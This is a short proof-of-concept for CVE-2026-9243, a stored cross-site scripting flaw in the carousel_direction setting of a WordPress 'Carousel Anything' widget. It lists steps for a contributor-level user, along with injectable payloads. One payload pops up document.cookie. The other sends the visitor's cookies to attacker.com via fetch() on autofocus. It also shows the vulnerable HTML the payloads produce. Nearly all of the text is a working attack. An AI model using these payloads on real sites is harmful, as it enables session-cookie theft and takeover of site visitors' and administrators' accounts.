CVE-2026-9243

<!-- CVE-2026-9243 PoC: Stored XSS via carousel_direction parameter --> <!-- Attack requires contributor-level access or higher in WordPress --> <!-- Step 1: Create or edit a page with Carousel Anything widget --> <!-- Step 2: In widget settings, set carousel_direction to: --> 1 onload=alert(document.cookie)// <!-- Or use more sophisticated payload: --> 1 onfocus=fetch('https://attacker.com/steal?c='+document.cookie) autofocus// <!-- Example HTML injection result (vulnerable output): --> <!-- <div dir=1 onload=alert(document.cookie)// data-widget_type="carousel_anything.default"> --> <!-- The '1' ensures the dir attribute is set, and the payload executes JS after page load -->

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